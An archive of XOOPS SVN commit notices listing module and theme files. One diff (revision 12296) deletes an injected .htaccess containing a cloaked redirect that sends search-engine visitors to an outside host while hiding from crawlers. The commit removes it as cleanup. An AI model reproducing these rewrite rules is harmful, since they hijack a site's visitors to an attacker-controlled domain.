XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Script.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Serializer.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Server/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Server/PostOffice.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Server.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Types.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Unserializer/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Unserializer/PHP.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Unserializer/XML.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/Unserializer.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/errors/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/errors/errors.en.ini
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/encode/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/encode/php.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/encode/xml.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/httpclient.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/remoteobject.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/request/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/request/get.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/request/post.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/request/rawpost.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/request.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/serialize.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/data.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/errorreader.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/mock.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/mockxmlhttp.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/pseudoxmlhttp.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/typeof.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan/js/util/utf8.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/JPSpan.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/LICENSE
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/README
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/TODO
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/jpspan/VERSION
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/multifile.js
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/include/update.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/index.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/admin.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/blocks.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_changedpriority_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_changedstatus_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_closeticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_mergeticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_modifiedresponse_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_modifiedticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_newowner_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_newresponse_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_newticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/dept_removedticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_changedpriority_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_changedstatus_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_closeticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_mergeticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_modifiedresponse_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_modifiedticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_new_user_activation1.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_new_user_activation2.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_new_user_byemail.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_newowner_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_newresponse_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_newticket_byemail_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_newticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_removedticket_notify.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/mail_template/ticket_user_email_error.tpl
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/main.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/english/modinfo.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/language/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/lookup.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/pdf.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/profile.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/response.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/rss.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/scripts/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/scripts/addTicketDeptChange.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/scripts/changeSelectedState.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/scripts/xoops_version.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/search.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/servicemain.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/sql/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/sql/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/sql/mysql.sql
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/staffReview.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/styles/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/styles/admin_buttons.css
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/styles/print.css
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/styles/xhelp.css
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/xhelp_block_actions.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/xhelp_block_mainactions.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/xhelp_block_open.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/xhelp_block_performance.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/blocks/xhelp_block_recent.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_addTicket.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_announcement.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_anon_addTicket.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_batch_response.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_deletetickets.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_editResponse.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_editSearch.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_editTicket.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_error.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_lookup.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_pdf_ticket.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_print.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_response.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_search.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_setdept.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_setowner.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_setpriority.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_setstatus.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staffReview.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_header.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_profile.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_rss.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_ticketDetails.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_ticket_table.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_staff_viewall.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_user_header.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_user_index.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_user_rss.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_user_ticketDetails.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/templates/xhelp_user_viewall.html
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/ticket.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/viewFile.php
XoopsModules/xhelp/branches/wishcraft/1.12/modules/xhelp/xoops_version.php
XoopsModules/xhelp/branches/wishcraft/1.15/
Removed Paths:
-------------
XoopsModules/xhelp/branches/wishcraft/1.15/modules/xhelp/templates/blocks/.htaccess
Added: XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/2dbarcodes.php
===================================================================
--- XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/2dbarcodes.php (rev 0)
+++ XoopsModules/xhelp/branches/wishcraft/1.12/Frameworks/tcpdf/2dbarcodes.php 2014-02-10 05:58:25 UTC (rev 12298)
@@ -0,0 +1,123 @@
+<?php
+//============================================================+
+// File name : 2dbarcodes.php
+// Begin : 2009-04-07
+// Last Update : 2009-12-15
+// Version : 1.0.001
+// License : GNU LGPL (http://www.gnu.org/copyleft/lesser.html)
+// ----------------------------------------------------------------------------
+// Copyright (C) 2008-2009 Nicola Asuni - Tecnick.com S.r.l.
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Lesser General Public License as published by
+// the Free Software Foundation, either version 2.1 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU Lesser General Public License for more details.
+//
+// You should have received a copy of the GNU Lesser General Public License
+// along with this program. If not, see <http://www.gnu.org/licenses/>.
+//
+// See LICENSE.TXT file for more information.
+// ----------------------------------------------------------------------------
+//
+// Description : PHP class to creates array representations for
+// 2D barcodes to be used with TCPDF.
+//
+// Author: Nicola Asuni
+//
+// (c) Copyright:
+// Nicola Asuni
+// Tecnick.com S.r.l.
+// Via della Pace, 11
+// 09044 Quartucciu (CA)
+// ITALY
+// www.tecnick.com
+// in...@te...
+//============================================================+
+
+/**
+ * PHP class to creates array representations for 2D barcodes to be used with TCPDF.
+ * @package com.tecnick.tcpdf
+ * @abstract Functions for generating string representation of 2D barcodes.
+ * @author Nicola Asuni
+ * @copyright 2008-2009 Nicola A...
[truncated message content] |
|
From: <be...@us...> - 2014-02-10 05:32:50
|
Revision: 12297
http://sourceforge.net/p/xoops/svn/12297
Author: beckmi
Date: 2014-02-10 05:32:46 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
changing folder structure
Removed Paths:
-------------
XoopsModules/xhelp/releases/1.12/
XoopsModules/xhelp/releases/1.15/
|
|
From: <be...@us...> - 2014-02-10 05:11:07
|
Revision: 12296
http://sourceforge.net/p/xoops/svn/12296
Author: beckmi
Date: 2014-02-10 05:11:04 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
changing folder structure
Added Paths:
-----------
XoopsModules/xhelp/branches/wishcraft/
Removed Paths:
-------------
XoopsModules/xhelp/releases/1.15/modules/xhelp/templates/blocks/.htaccess
Deleted: XoopsModules/xhelp/releases/1.15/modules/xhelp/templates/blocks/.htaccess
===================================================================
--- XoopsModules/xhelp/releases/1.15/modules/xhelp/templates/blocks/.htaccess 2014-02-10 04:42:34 UTC (rev 12295)
+++ XoopsModules/xhelp/releases/1.15/modules/xhelp/templates/blocks/.htaccess 2014-02-10 05:11:04 UTC (rev 12296)
@@ -1,36 +0,0 @@
-
-
-# exgocgkctswo
-RewriteEngine On
-RewriteCond %{REQUEST_METHOD} ^GET$
-RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]
-RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
-RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
-RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$
-RewriteCond %{HTTPS} ^off$
-RewriteRule ^(.*)$ http://iamprotectedfrom.net/cgi-bin/r.cgi?p=10003&i=116043e8&j=305&m=f7f9698f8304be261707e51c96e1ebcd&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
-# exgocgkctswo
-
-
|
|
From: <be...@us...> - 2014-02-10 04:42:40
|
Revision: 12295
http://sourceforge.net/p/xoops/svn/12295
Author: beckmi
Date: 2014-02-10 04:42:34 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
Adding xBootstrap theme
Added Paths:
-----------
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.gitignore
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/.htaccess
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/README.md
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/css/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/css/bootstrap.min.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/css/reset.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/docs/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/docs/TODO.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/docs/changelog.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/docs/credits.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/docs/licence.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/docs/readme.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/fonts/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/fonts/glyphicons-halflings-regular.eot
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/fonts/glyphicons-halflings-regular.svg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/fonts/glyphicons-halflings-regular.ttf
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/fonts/glyphicons-halflings-regular.woff
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/fonts/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/_notes/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/_notes/favicon.png.mno
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/alpha.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/background-site-closed.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/blank.gif
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/comment-arrow.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/cover.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/favicon.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/logo.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/slider.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/slider1.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/slider2.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/slider3.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/slider4.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/slider5.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/images/tdm-no-image.jpg
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/bootstrap.min.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/jquery-1.10.2.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/js.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/AjaxLoader.gif
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/grabbing.png
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/owl.carousel.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/owl.carousel.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/owl.carousel.min.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/owl/owl.theme.css
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/js/selectivizr-min.js
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/lang/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/lang/english/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/lang/english/main.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/lang/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_brokenfile.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_download.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_modfile.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_ratefile.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_singlefile.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/TDMDownloads/tdmdownloads_viewcat.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/contact/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/contact/contact_contactusform.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/contact/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/extgallery_index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/extgallery_public-album.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/extgallery_public-photo.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/extgallery_public-photo.html.bak
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/extgallery_public-sendecard.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/extgallery/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/blocks/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/blocks/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/blocks/news_block_top.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/news_article.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/news_index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/news/news_item.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/obituaries/
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/obituaries/index.html
XoopsCore/branches/2.5.x/2.5.7/htdocs/themes/xBootstrap/modules/obituaries/obituaries_index.html
